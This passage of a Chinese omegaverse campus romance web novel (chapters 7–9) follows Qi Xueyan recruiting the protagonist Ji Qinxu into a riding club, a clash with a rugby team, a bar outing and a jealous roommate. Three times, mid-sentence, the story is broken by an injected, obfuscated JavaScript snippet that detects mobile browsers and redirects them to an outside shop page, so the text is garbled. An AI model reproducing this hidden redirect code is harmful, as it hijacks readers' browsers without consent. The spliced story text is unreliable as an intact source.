《阴郁炮灰和男主抢小弟》 7. 我想要你 戚雪砚确实被吓坏了。 半晌回过神,都没能意识到自己情急之下到底说了什么。 因为我想要你。 ……这话是不是有点怪?他目光飘忽地观察纪钦栩的神色。 腕上的力道倒是松了些许。 戚雪砚小心翼翼地抽回来,摸出手机划拉到一个还没来得及打印出来的宣传单页面,双手捧着屏幕举到陷入沉默的主角眼前。 “学弟,愿意加入我们马术社吗?我看你英俊潇洒,骨骼清奇,为什么要去学生会当牛做马呢?很辛苦的。来我们这里和小马玩,不好么?” 纪钦栩垂着眼看他,没说话。 “噗。”把报名表拾回来放纪钦栩手里的男生乐了,促狭地打量他俩,“学长,你刚真惊到我了,还以为你表白呢。” 天呐。 不会以为就不要瞎以为。 戚雪砚猜这位就是主角身边另一个死党,见对方的目光没有恶意,偏头笑了下:“这位学弟叫什么名字?我也想要的。” “哎哟……”男生瞬间闹了个红脸,“我叫柏荣。久闻戚学长大名了。” “什么大名呀?”戚雪砚笑着问。 “额,就那个……什么……”柏荣瞅了瞅他,又瞅了眼纪钦栩,挠头。 估计也不是什么好名声。戚雪砚不为难对方了。 “学弟们肯定很抢手吧,我们社团没什么竞争力,只能出此下策了。”他叹息一声放下手机,努力让自己看起来诚恳,“对不起,可以原谅学长吗?” 柏荣脸更红了:“没事啊没事,本来就是我的锅……” “我以为学长不想和我扯上关系。” 主角大人冷不丁地开口了,把报名表还给他,不咸不淡道。 “怎么会呢?”戚雪砚抱住那沓纸,见对方要走,一不做二不休跟了上去,“学弟这么优秀,我……之前是觉得很有压力。” 纪钦栩扯了下唇角,似是觉得荒谬,却也没拆穿:“现在没压力了?” 怎么可能没有啊。但主角在自己身边总比去裴起昀那里好。 “这些困难哪能抵挡我对学弟的向往。”戚雪砚说。 “……” 柏荣差点绊了一跤,在旁边猛烈咳嗽。 “也向往你。”他没忘补充。 柏小伙原地立正,笔直地敬了个礼。 纪钦栩步伐顿了顿,偏过头垂眼盯他。凌乱的发梢扫过高挺的眉骨,在眼窝落下一片浅淡的阴影。 “学弟。”戚雪砚趁机靠近一步,轻眨眼睫,“就一定要加学生会吗?” 纪钦栩缓慢移开视线,“……你都撕了还怎么加。” 那就不是非去不可嘛。戚雪砚莞尔,更起劲地推销了起来。 “有什么好处。”男生的语气漫不经心。 好处?他抿了下唇,语调低了些:“言清泉给了你什么好处。” 纪钦栩皱眉,神情里的散漫褪去,动了动唇角想说什么。 “可以加学分!”那边的柏荣探出脑袋抢答。 “只要参加社团都会有的。”戚雪砚看了过去,“我们还可以去动物保护协会登记,加双倍。” 柏荣:“会发奖金!” “他忽悠你们的,学生会的财务一毛不拔,我最熟悉了。”况且纪钦栩虽是平民出身,又不缺钱。 柏荣:“还包分配新生舞会的舞伴!” “我也可以——”戚雪砚顿住,诧异地望向身边高大的alpha,“纪学弟上次不是说不想跳舞么。” 纪钦栩瞥他一眼,不置可否。 难道现在想了?这有点崩人设了吧。他闷闷地哦了声,“那我也可以帮你找合适的舞伴,你喜欢什么类型的omega?” “……”男生耷拉着眼皮盯他,有点死鱼眼。 戚雪砚疑惑歪头。 纪钦栩似是沉了一口气,薄唇勾起一个极其轻微冰冷的弧度,“Alpha不能和alpha跳?” 唔。也不是不行。 但alpha之间与生俱来存在竞争意识,信息素相互排斥,自然不比和异性在一起和谐。 “戚学长当年新生舞会就是和alpha跳的吧?”柏荣兴致勃勃地八卦道,“言学长上次告诉我的,他对此很有意见哦。” “我……”戚雪砚语塞,不想提裴起昀,垂下视线含糊道,“那次情况特殊。” 他总不能看着两个omega为他大打出手。 头顶稍高的地方落下一声很轻的嗤笑。 戚雪砚盯着树上飘落的叶片,半晌,萌生了一个猜测,“你……是想帮言清泉出气,所以才答应加入学生会的?” 这让他很不安,眸光沉了下来,“纪学弟,那是我们三年级之间的事情,最好还是不要牵扯到你——” “我不认识他。”纪钦栩冷声打断,嗓音终于染上一丝不耐,“你在装什么傻。” 啊?戚雪砚一头雾水。不认识言清泉? “咳,那什么。” 柏荣尴尬地举起手,再次转移了他的注意力,“学长,解释一下,报名表是我交的,和他没关系。” 戚雪砚微微一怔。 柏荣叽里咕噜解释了一通,说是上次晚自习言清泉初来一年级游说,纪钦栩不在,他听着福利不错,就擅自替对方一块儿报名了。 “我们这趟来就是想把申请表要回去,你找一下是不还有个叫闻瑾羿的,她的也一起撕了吧。” 戚雪砚低头,果不其然从怀里翻了出来闻瑾羿的申请。 柏荣飞快接过,咔咔揉成了一团。 原来是这样。 他就说日理万机的主角怎么会有这个闲情逸致。 “他这人表达能力有点问题,你别和他一般计较。”柏荣凑过来说悄悄话。 龙傲天主角也是有缺点的。这确实是纪钦栩的设定之一了。 心情一下就放松了,戚雪砚轻呼一口气,脚跟抬起又放下,看看柏荣又看看纪钦栩:“那你们还想要什么好处?学长尽量帮你们争取。” 之前的话都放出去了,总不能再打脸。 纪钦栩面无表情地盯了他一眼,重新抬脚。 戚雪砚停在原地,见男生走了两步又停下,回头问,“……马场在哪。” 嗯? 沉默。 “我带路。” 戚雪砚回过神,三两步走到对方身前,露出一个笑容,“跟着学长就好啦。” …… 穹庭的马术社位于校园最南边,远离那些热门的演练室和运动场,面积不大,构成也很简单。 外围是一片茂盛的银杏和红枫树,穿过风雨走廊就可以看到操场大小的训练场,分为露天和有屋顶两部分。马厩在左侧,连接校外一片草地,由复古的红砖堆砌建造。 此时,孤独的社长正守在训练场,挺起胸膛面对5个人高马大的橄榄球队员,满脸悲愤: “你们自己又不是没有场地,为什么非要打我们的主意?” 领头的黄毛alpha掏了掏耳朵,像打量自家底盘似的环顾四周:“谁想和那帮踢足球的挨着啊,一天到晚被飞出来的球砸脑袋,给你你愿意?你们这块地方多好,清净,风景也不错。” “你让我们的马住哪?”蒋勇哆哆嗦嗦,但怒斥,“他们,他们也不能被足球砸。” “那就解散!”另一个紫毛恶声恶气道。 “别着急嘛,蒋社长。”黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846980|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛走了过来,肌肉虬结的胳膊揽住蒋勇的肩,“就算这里变成橄榄球场了,你们也还是可以来遛马啊。” “但是有一个条件——”他还特意拖长调子,“你得让戚学长来我们橄榄球队当经理!他不是经常去给篮球队加油么,怎么我们就没这个待遇?我们队长也是S级alpha啊!” 几个人一起哈哈笑了起来,意味明显。 “你们休想!”蒋勇愤愤挣脱了黄毛的搭肩。 橄榄球队的队长孟星澜,三年级目前的5个S级alpha之一。家世和实力都和戚雪砚宿舍那个几个不相上下,明面上也不对付很久了。 要是在以前这些人,哪敢这么放肆?左脚踏进这个地盘下一秒就得屁滚尿流地滚出去,还不都是因为……因为…… 蒋勇咬牙。他知道也有自己的错,他从前太眼高于顶,不是真正爱马的,不愿意亲手照顾马的都不肯收,挑挑拣拣总共没几个社员,否则就算打不过也能排成排玩个人海战术。 口袋里的手机响了,蒋勇接了起来,紧皱的眉顿时松开了。 “我们招到新社员了!”他举着手机扬声宣告,“你们的计划落空了!” “几个?”黄毛问。 蒋勇的气势又瘪了下去:“……两,两个。” 五人哈哈大笑,四只手竖起来给他看:“我们橄榄球队20个人,全都是alpha,就算轮班也能把你围死。” “蒋社长,人要懂得变通,只要你让他来求求我们队长,这事儿也不是没得商量。”黄毛大放厥词,“——我们也是alpha,我们也想过上有漂亮经理送水擦汗洗内裤,没事儿摸摸小手捏捏小脸的生活啊!” 尤其那人是曾经对他们爱搭不理的高岭之花,就更爽了。 “摸谁的小手啊?”一道好奇的嗓音插了进来。 “当然是戚雪——” 黄毛回答到一半,看到眼前突然出现一张陌生的脸,话语顿住,下意识扭头—— 走廊入口的地方站了两个人,都穿着白衣黑裤的校园制服。其中一个眼熟得不能再熟,是会被他们队长当成人生mvp结算画面的终极幻想对象,连带着他们全队都产生了执念、美得像朵玫瑰花似的alpha。 另外一个…… 柏荣还在笑问:“你们刚才说让戚学长怎么样?啊?啊?” 一、二、三…… 戚雪砚,加两个新招的社员。 不好。 几个顶着五颜六色头毛的橄榄球队员齐刷刷后退了一步。 紫毛反应最快:“快给队长打电话!快!” “队长在考试啊!” “那戚雪砚怎么考完了?” “他什么人你不知道啊?!” “……” Alpha的视力听力都很好,戚雪砚当然听清了那几人的话。不生气是不可能的,但这段时间的习惯足以让他做到无视和忍耐。 打不过就得忍气吞声,很简单的道理。 “今天可以用么。” 他听到一声清冷微磁的嗓音,就在耳畔。 戚雪砚迟了一拍抬眸,发现纪钦栩俯身靠了过来,紫灰色的眸盯着自己。这才意识到这句话是问他的。 “……什么?” 男生却不再回答,抬手,修长微凉的手指笼住了他的下半张脸。 戚雪砚惊讶又不解地眨了眨眼,瞳孔微微收缩,就这样被握住脸蛋,施加力道,轻轻向下一顿—— “点头。” 说着,纪钦栩直起身。 衬衫衣角带起的秋风染上了凛冽寒意——好端端站在场地里的那五个alpha瞬间飞了出去,砸在遍布马蹄的训练场上,卷起漫天尘土。 8. 酒吧迎新 训练场的地面由专门的纤维砂铺就,平日里蒋勇兢兢业业浇水除灰,就是为了减少尘土扬起。且那几人原本是站在外围的橡胶走道上的,距离沙地还有好几米,此刻却给砂石地面整整齐齐砸了五个大坑。 不可谓不壮观。 戚雪砚看着这一幕愣了神。 穹庭为了限制学生斗殴,名义上制定了许多规则,但本质仍然是弱肉强食的,最强的人会站在金字塔的顶端,拥有最好的资源以及其他人的尊敬。 就算在学校之外也一样——特殊的生理构造让资本堆积出的阶级没那么稳固,时不时会涌现出身平凡却天赋异禀的人,上面明智地选择了教化扶持而非打压,主角就是这其中最具代表性的力量。 戚雪砚认可这个制度,曾获利于这个制度,现在也因此受到了压迫。 他格外珍惜自己的三个室友,感情是一方面,也不是完全没有现实的考量。他需要他们,否则在穹庭的日子会更艰难。 他对他们好,不想随便消耗这份友谊,唯恐自己滑向众叛亲离的结局走向,所以也鲜少向他们求助。 但纪钦栩不一样。 他是这个世界的主角,做任何事都不需要别人来买单,戚雪砚站在对方身边,看着自己想暴揍一顿却揍不了的家伙们惨叫一片,只觉得…… 很爽。 也很羡慕。 这种纯粹的信息素等级差距带来的极致碾压,他生病之前也很难做到。 他还想起了上次,闻瑾羿告诉他,贺煊也是说了他坏话才被教训的。 视线缓慢移了回来——男生的侧脸线条锋利,眉弓很高,鼻梁挺直,低敛的眼睫挂着冰霜般的冷意。手不知是忘了还是怎么的,还放在他脸上没挪下来。 戚雪砚拽了一下对方的校服衬衫,假惺惺地提醒:“别弄伤了。” 开阖的唇瓣不小心碰到了对方的掌心,他呼吸一滞,赶紧抿唇。 纪钦栩手指微顿,垂眸看了他一眼,松开。慢吞吞地抬手摸向后颈:“……嗯。” 戚雪砚也嗯了声,转过身手背贴上发热的脸蛋。 “我来了!我来了!我来了!”一道轻快明亮的嗓音开火车似地撞了过来,“报告!我也要参加马术社!” 戚雪砚一怔,回眸,果不其然看到一头跳跃的橙色短发和高高举起的手。 地上那五个刚爬起来,差点没又坐回去。 又是S级alpha!三个!!! 这下给队长的电话也不敢打了,黄毛给伙伴使了个眼色,赶紧闷头往外冲,被闻瑾羿叉腰堵了个正着。 “他们干嘛了?”少女问。 柏荣在旁边揣着手,凉凉地解释:“他们说要戚学长给他们洗内裤。” 闻瑾羿:“?” 数分钟后。 “社长,这五条裤衩你拿去,缝一面大旗挂在门口的树上,下次谁再敢来闹事就挥舞旗帜,绝对够煞他们威风!” 蒋勇一忠厚老实爱好和平的beta,哪见过这当众扒人裤衩的架势,颤抖着手不知该不该接:“这这这……这有点太不雅了吧。” 闻瑾羿笑嘻嘻:“我本就不是什么高雅之士。” 把裤衩甩给蒋勇,扭头去找她哥,见到青年静静站在走廊外的银杏树下,一条手臂端在胸口,另一只修长白皙的手抬起,手背遮脸,美丽的棕色眼睛忽闪忽闪,就是不看她。 啧。优雅的在这儿呢。 “戚学长,你怎么脸红红的啊?”闻瑾羿凑了过去,鸟儿似地勾着头瞧他。 哪有。戚雪砚蹙眉,没有对她刚才的行为发表意见,只问:“你真想学骑马?” “我也可以给您牵马。”闻瑾羿弯腰鞠躬,行了个标准的骑士礼。 “……” “干嘛呀,戚学长肯收他们就是不肯收我?”闻瑾羿苦着脸,忧愁叹气,“这么区别对待,我果然很特别吧。” 戚雪砚好无语,轻轻瞪了她一眼,转过身往马厩走去:“没说不收。” 蒋勇赶紧跟了过来,还在不可置信:“三个S级alpha新生?三个?”Alpha天性好斗,马术在穹庭一贯是冷门爱好,何况是这几个S级的? 戚雪砚小声征求他的意见:“行么?他们也不一定有空来,就当凑数的。” 蒋勇赞叹:“全校的S级alpha都是围着你转的吧。” 在说什么啊。 戚雪砚怪好笑的,“你没看出来他们三个都是一伙的吗,这叫路见不平拔刀相助。你抱紧大腿,以后不会有人敢来闹事的。别再龟毛为难新人了,啊?” “好好好。”蒋勇竖起手指保证,顺便瞄旁边人的神色——凭他对戚雪砚的了解,此人目前心情很不错,有强装镇定撇清关系的嫌疑。 高攻低防还不自知是这样的。 “我们这里一共7匹马,除了叫Joy的这匹,和那边的斑点色苏珊,其他你们都可以随便选。但一定要好好爱护哦,不可以让小马受伤。” 戚雪砚刚走近马棚,一匹棕色的温血马就伸长了脖子绕过他拽到自己身边,脑袋往他怀里拱,嘴皮子啵唧啵唧蹭他手心要摸。 Joy肩高近1.8米,面部中间的鼻梁为白色大流星,四只马蹄上也有一圈白色的毛发。长得高大威猛,背线饱满,四肢健壮有力。顺滑的鬃毛散着,刘海修剪过,耳朵后也用不同颜色的皮筋编了几个小脏辫。一看就知道被养得很好。 七岁了,还和小宝宝一样。 手掌展开捏捏马儿Q弹的嘴巴,戚雪砚变魔术似地摸出来了一根橙色胡萝卜,晃了晃,Joy高兴地嚼吧进了嘴里。 他走不动路了,就让蒋勇继续给新人介绍。蒋勇本来就比他专业得多,柏荣也兴致勃勃的,俩人挺聊得来。 他看向纪钦栩。男生抄着口袋,停在几步远的地方盯着Joy,神情若有所思。发觉他的视线又移了开来,随手拍了拍对面马厩黑色骏马的脑袋——谁知把那马儿吓得连连后退,脖子拼命仰起,前蹄狂敲地板。 “……”纪钦栩手僵在半空,板下脸盯住狂躁的黑马。 数秒。 黑马老老实实地安静了下来,耳朵向后撇,只敢通过大眼里流露惊恐。 戚雪砚没忍住笑了一声。 “他叫伊森,是整个马厩最调皮的,最近总喜欢啃我的辫子。”迎上对方的目光,他由衷夸赞道,“好厉害啊学弟。” 纪钦栩往他头上扫了眼,没说什么。 闻瑾羿在他身边停下来,举手打申请:“能摸吗?” 戚雪砚看了她一眼,侧身让了让。 闻瑾羿露出了小虎牙,手掌小心翼翼贴上了马儿的脑袋,Joy继续埋在戚雪砚怀里,用黑亮的眼睛瞅着她,没动。 “他就是你从小养到大的那匹马?” “嗯。”戚雪砚抚摸着Joy热乎乎的颈侧,垂下眼睫,“他还在妈妈肚子里的时候我就认识他了,对不对啊,小乔?” 他说这话时的神情无比温柔,闻瑾羿的嗓音也不自觉柔和下来:“你好啊Joy,你是戚学长的弟弟吗?那也是我的弟弟喽。” 戚雪砚手指一顿,微微抓紧了掌心的鬃毛。 Joy敏锐觉察到了主人的情绪,脖子将他环得更紧,离开闻瑾羿的掌心,朝她吐了吐舌头。 “Joy是我一个人的。” 半晌之后,戚雪砚捋顺鬃毛,低却认真地道了一句。 闻瑾羿一怔。 “今天谢谢你,喜欢的话,以后我给你买更适合的马。” 说完,他展开双臂向上抱住了Joy的脖子,栅栏的门打开,Joy飞快跑了出来,他顺势跃起,一气呵成趴在了马背上,奔向外面的训练场。 感受着Joy生机勃勃的肌肉和奔腾有力的马蹄,戚雪砚心口一阵发热。 他想,这个世界上完全属于他的不多了,小气一点也没关系吧。 . 好不容易招到了人,蒋社长打算掏腰包请全社聚餐。去年他们没招新,原本还有俩三年级的一B一O,互相看对眼后忙着谈恋爱了,很少再来社团,所以总共也就他们五个。 地点选在校外一家穹庭学生常去的酒吧,是柏荣和闻瑾羿强烈提议的,蒋勇一开始想拒绝,最终没能拗得过小年轻们。 地方环境还不错,但毕竟是酒吧夜场,炫目的灯光、嘈杂的音乐、穿着暴露的客人应有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846981|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽有。 他们几人刚进门就受到了注目,周围的omega几乎是一下子支棱了起来,端着酒杯蠢蠢欲动想要上前。 柏荣左边笑一笑,右边眨个眼,忙得不亦乐乎,当然也有注意到部分虎视眈眈的同类,目标相当专一。 他顺着回头——站在蒋勇身边的青年正无声打量着四周,微微伸长的颈项纤细洁白,额边的雪花形状发卡闪着细碎的光。 确实漂亮得模糊性别和取向了。 戚雪砚的目光从酒吧各个方向滑过,收回,不会停留太长时间,依然发觉了很多露骨的注视。直到一个身影遮挡了他大半视野,骨节分明的手指叩在黑色大理石台面上。 “包厢。”纪钦栩说。 “包厢很贵啊。”蒋勇抹汗。他的家境在穹庭也就中等水平,这里的消费可不低。 闻瑾羿笑眯眯的:“我们老大有钱,让他付。” “那怎么行?说好请客欢迎你们的。” “下次呗,机会多的是呢蒋社长。”柏荣退了回来,勾着蒋勇的肩把啰里啰嗦的人拖走了。 戚雪砚抬眸望向纪钦栩,没说什么。去包厢的路上,他走在闻瑾羿和男生之间,也没有alpha敢盯着他瞧了。 包厢的环境果然更好。入座之后拿到了一份酒水单,他低着头专心致志翻看起来……这个漂亮,这个也漂亮,点哪个呢? “戚学长难道没来过酒吧?”柏荣终于咂摸出了不对劲。 “确实没有。”蒋勇说。所以他一开始才不同意来这儿。 柏荣的下巴差点掉下来。 “有什么问题。”闻瑾羿走过来,顺势用胳膊肘捅他,憋笑,“没见过大家闺秀啊。” “戚学长可是全校alpha的梦中情人,我以为会是……久经战场的类型。”柏荣嘀嘀咕咕。 “什么?”戚雪砚从酒水单中诧异抬头。 梦中情人……alpha? “他也不看论坛。”蒋勇默默补充。 “……”柏荣按着下巴,牢牢闭上了嘴。 脸长得这么妖,人这么纯。怪不得招坏alpha惦记。 戚雪砚皱了皱眉。猜想是论坛里那些无聊的家伙开他玩笑,没太放在心上。 从前他确实不会来这种地方,没兴趣没空,也没什么人会邀请他来,哪怕是时常出没酒吧的邢铄和贺靖风,对此甚至有些讳莫如深。 戚雪砚最后点了一杯蓝粉配色的鸡尾酒和一块树莓巧克力蛋糕,坐在位置上看柏荣捧着麦克风激情献唱。旁边少女姿态娴熟地晃悠装着球形冰块的玻璃杯,桌面上摆着一瓶威士忌。 他顿了顿,问:“你很能喝酒吗?” “爸爸以前的理想就是退休后开一家小酒馆,让妈妈在里面驻唱。”闻瑾羿笑了一下,低声告诉他。 戚雪砚沉默了下来,咬着吸管无知觉地咽下了大半杯鸡尾酒。 包间很大,灰色的真皮沙发可以容纳十数个人,大家坐得都很开。大抵是蒋勇、戚雪砚、闻瑾羿、纪钦栩,还有一个满场飞的柏荣这样的顺序。 闻瑾羿去了一趟洗手间。 戚雪砚晕晕乎乎地放下酒杯,脑袋有点重,看到头顶的灯光转啊转,落在了沙发另一端的人身上,把墨色的发丝照得泛紫,如同鸦羽。 他抬起屁股,撑着沙发挪到了那人旁边,近距离盯着对方的脸瞧。 “纪钦栩。”他一字一顿,吐字缓慢而清晰。 男生垂眼和他对视。 戚雪砚歪着脑袋回望,半晌,伸出食指戳在了对方的脸颊上,往外一推—— 推动了。 “你好像也没有那么可怕嘛。”他弯起眼睛,笑得很开心。 “……” “你过来一点。”他放下手,拍了拍两人之间的空位。 “……” “肩膀再低一点,好不好?” “……” 高度和距离总算合适了。 戚雪砚满意地哼了声,下巴凑过去挨上了男生的肩,眯着睫毛软乎乎地嘱咐: “我想睡一会儿,你乖乖的不要动……” “千万、千万别吵醒学长哦。” 9.大发雷霆 闻瑾羿在洗手间教训了一个骚扰omega的醉鬼,回来后发现天塌了。 马术社的两位学长都是一杯倒。蒋勇毫无睡姿可言地趴在了沙发上,柏荣正撅着屁股,兴致勃勃地拍他的丑照。 黑发紫眸的男生两条长腿架在茶几上,坐姿和之前一般松散,唯独右肩微微下塌,托着一颗毛茸茸的粉棕色脑袋。 青年靠着肩膀的脸受到挤压,鲜妍红润的唇微微嘟起,在昏暗的灯光下泛出些许诱人光泽。至于另一边脸颊…… 闻瑾羿抽了抽嘴角。 纪钦栩似有所觉地抬眸,平淡地瞥了她一眼,合拢手里的马克笔。 她不敢质问老大,就气呼呼地照柏荣的屁股踢了一脚。 “什么情况?”她用眼睛示意那边。 怎么自己坐那么久都没这种好事儿呢?瞧着老大的位置没怎么变,还得是她哥自己挪过去的。 猫腻,绝对有猫腻! 柏荣嘿嘿笑:“瞌睡了找枕头,人之常情嘛,你看栩哥多淡定。” 这倒是。公主喝醉了也是优雅的。 闻瑾羿绕去了沙发的另一边,轻手轻脚地坐下,指了指戚雪砚微红的脸蛋:“老大,你这是报复吧?” 纪钦栩纠正,“报酬。” 说完就靠在沙发背上玩手机,单手可操作的弱智小游戏。 闻瑾羿在旁边抓耳挠腮。 “老大你累不累啊?”过了半天,她谄媚道,“要不我来替你吧?我个子矮,给他当枕头正合适。” 男生那双死鱼眼瞥了过来,指腹一划拉,屏幕里的兔耳朵小鼻嘎轰出一个魔法雪球攻击。 还带Biubiu的音效。 “……” 她垂头丧气地倒在了沙发上,长叹一声,像被抽干了灵魂。 …… 戚雪砚做了一个梦。 依然和他的腺体有关,却和往日不太一样。 这一次脖颈后面没有灼热发烫,有什么冰冰凉凉的气息包裹住了他,像被打了麻药,很安心很舒适。鼻息间的气味也好闻,像冬日清晨呼吸到的第一缕冷空气,夹杂着些许水墨的特殊香味。 在这个气息的包覆之下,他渐渐地快要进入深睡眠了——画面一闪,发现自己正躺在一个手术台上,一道非常模糊的声音传了过来。 “救他。” “一个S级alpha,怎么会伤成这样?”另一人问。 “……” 那声音回答了什么他听不清,但鼻子蓦然发酸,憋闷难言的情绪涌上心间,戚雪砚在梦里也明显地感觉到了自己重如擂鼓的心跳。 为什么…… 为什么会受这么严重的伤。 是谁把他伤成了这样。 他好像溺进了海水里,有人在问,他自己也不断地在问,却始终没人给出回答。于是他在混沌深海里越沉越深,颅腔被灌满海水——直到周围的世界开始摇晃,传来不同寻常的震颤轰鸣。 “这次任务是不是很麻烦?听说安全部和军队的人都在追查田教授的下落,加派了不少人手。” 少女的嗓音经过压低依然清脆悦耳,来自海水之外。 “还行。” “那老大你为什么一定要亲自去?” “他有点用。” “田教授对我们有用?喔,我知道了!因为他研发过的药……” 低冷的男声制止了她。 少女噤音。 轰鸣的动静更明显了,随之迸发的是极为熟悉的烦躁情绪,加量加倍不加价。 戚雪砚睁开眼睛,抬手就往不知道哪儿的地方用力甩了过去——手腕被有预料似地握住,他又捏起了另一边的拳头——再次被握进掌心。 近在咫尺的地方出现了纪钦栩的脸。 他脑中划过第一个念头,不愧为全方位顶配的龙傲天,脸也是顶帅。 第二个念头。 嗯…… 原来纪钦栩也会紧张?他没看错吧。 思考是一码事,情绪是另一码事,戚雪砚一边奋力挣扎一边飞快拿脚踹人。 踹着了。 耶。 两只纤瘦的手腕叠到了一起,纪钦栩单手牢牢攥住,向青年口袋示意,“……你自己的电话。” 戚雪砚依旧怒气冲冲地瞪着对方。 原本饱满上翘的嘴巴抿着,唇肉被嘬进去一小点,形成了明显的波浪形状,桃花眼压低了一半,棕色的眼珠又向上看,凶巴巴的。 “……我天。”闻瑾羿脑袋刚从后面探出来,就又捂着心口倒了回去。 纪钦栩则沉默地用空着的那只手替大发雷霆的人拿出了手机,指腹滑动接通,递到他耳边。 “戚雪砚。” 稍显阴沉的男声传了出来,斩钉截铁,“你去酒吧了。” 大脑还沉浸在起床气和未消散的酒意中,戚雪砚用了许久才分辨出来人是谁。 邢铄:“我来找你。” “……” 他猛地站了起来。 手腕残存着被笼罩的余温,戚雪砚迟缓地低头看向坐在沙发上的男生——纪钦栩长腿分开,一只空落的手搭在膝盖上,另一只手拿着自己的手机,微仰起脸望他,蓝紫色的灯光下,眸子幽若深潭。 “马上就到。” 他听到邢铄的声音从手机中传了出来。 戚雪砚完全遵循本能和下意识的思考,捞走自己的手机要越过人从沙发出去。不适应酒精的身体却控制不住晃悠起来,脚下一绊,结结实实摔在了旁边人身上。 轰隆。 脑袋里像在炸烟花。 他完全跪在了男生结实修长的大腿上,手指攥着对方肩膀上的衬衫——纪钦栩被他撞回了沙发靠背,单手握着他的腰,眸中浮现的不知是烦躁还是愠怒,瞳仁愈发幽暗。 戚雪砚一哽,贴在对方掌心的腰身不自觉颤抖,血液先于思考能力冲刷大脑,他的头更晕了。 ……身体忽然腾了空。 纪钦栩收紧胳膊掐住了他的腰,另一只手托在了他的膝盖下,就这样把他半抱半举了起来,从茶几内侧搬运到了外面,松手,双脚落地。 “……” 戚雪砚愣愣地回眸,望见男生居高临下的注视,顿了顿,重新坐回了位置,面色冰冷地掸落膝盖上被他踹出来的灰。 他的脚轻飘飘地抬起又放下,像踩在棉花上,无端有些迟缓。 终于向前迈开脚步,拉开包厢的门。 …… 邢铄到的很快。 戚雪砚刚出门,那头扎眼的银色短发就从走廊转角出现,眼熟的黑色无袖背心装束,胸口的双层荆棘项链哐哐直晃,狼一样逼近到他眼前。 “你为什么要来这里?”邢铄凑近他嗅了嗅,脸色阴沉,“还喝了酒。” 戚雪砚按了按还在突突跳动的太阳穴,艰难捕捉理智和话语:“……你查了我的位置?” “很意外吗?”alpha的语气也在发狠斗气,“我又不是第一次查你。” 他放下手,无声望向对方。 目光在眼前人泛着红晕的脸上顿住,邢铄的怒火更盛,硝烟味的信息素在周身逸散:“你和谁在一起?” 说着就要越过他,推开他身后的包厢门。 戚雪砚站在原地没动,伸手,攥住了alpha脖颈上的项链。冲劲太猛,荆棘的棱角陷进了脆弱的喉间,将皮肤刺红,带来尖锐的疼痛。 邢铄被扯得一踉跄,转过身,不敢置信地望向玫瑰棕发色的青年。 这项链是戚雪砚送他的成年礼物,也是第一份礼物。他自己的信息素是玫瑰,却送他荆棘,邢铄嘴上没有说过,戴可没少戴。 ……何况他连他那匹马的脖子都舍不得勒! 这包厢里到底有什么见不得人的?! 正常情况下,戚雪砚觉得自己是有耐心和邢铄解释的,也有办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857413|191398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊弄得过去。但此时他的大脑混沌一片,情绪烦上加烦,只攥紧了手中的项链,盯着对方尽量平和道: “你想要我走,我跟你走,别管不该管的事。” 果然有鬼。 邢铄胸膛剧烈起伏,除了邪火还涌上一丝憋闷和委屈。 喀哒。 身后的包厢门被从内打开了。 邢铄刚要回头,一双白玉修长的手伸到了他眼前,扶着他的脸颊两侧,强迫他定住不许动。 “看我。”戚雪砚说。 “……”alpha颈侧的青筋绷了起来。 青年抬脚走近了一步,秾艳明媚的面容上表情很淡,棕色的眼球深处透出一种诡异的平静,邢铄发现自己竟止不住心悸—— 他怕戚雪砚吗? 以前确实怕过,现在肯定是不该怕的。 “我说让你看着我。”戚雪砚重复。 “……” 那双手开始在他脸上抚摸,动作很温柔,就像无数次偏头痛时帮他揉捏太阳穴一般。邢铄就像被戳破了的轮胎,不由自主地放松,鼻子倒是更酸了,眼眶都微微发红。 下一秒,大拇指指腹就轻轻扫过了alpha的睫毛,邢铄条件反射闭眼,感觉到戚雪砚隔着眼皮不轻不重地按了按他凸起的眼球。 “小铄只能看着我,知道吗?再敢乱看的话……”他慢条斯理轻声说着,“我就把你的眼睛挖出来。” 邢铄健硕的身形猛烈一颤,张了张嘴,没能发出声。 如果是别人对他说这样的话,他早就挥拳把对方打成了烂泥,如果戚雪砚为了别人这样对他,他也决计不会忍耐。 但是他说…… 要自己只看着他。 邢铄竟真的平静了下来,思绪像被牵引,循环不断播放着这句话。 “弯腰。”戚雪砚再次开口。 “……干什么。”他滑动了一下干涩的喉咙,含糊低声问。 对方不回答,食指轻敲他的太阳穴。 邢铄动作迟缓地向下弯腰,视线对着地面,眼前是晃荡的荆棘项链和青年纤细的腰身——腰间的校服衬衫微皱,不知道被谁的手用力攥过。 戚雪砚绕了半圈,趴到了alpha的背上,嗓音一转变得软了许多:“喝了酒有点晕,小铄背我回去,好不好?” 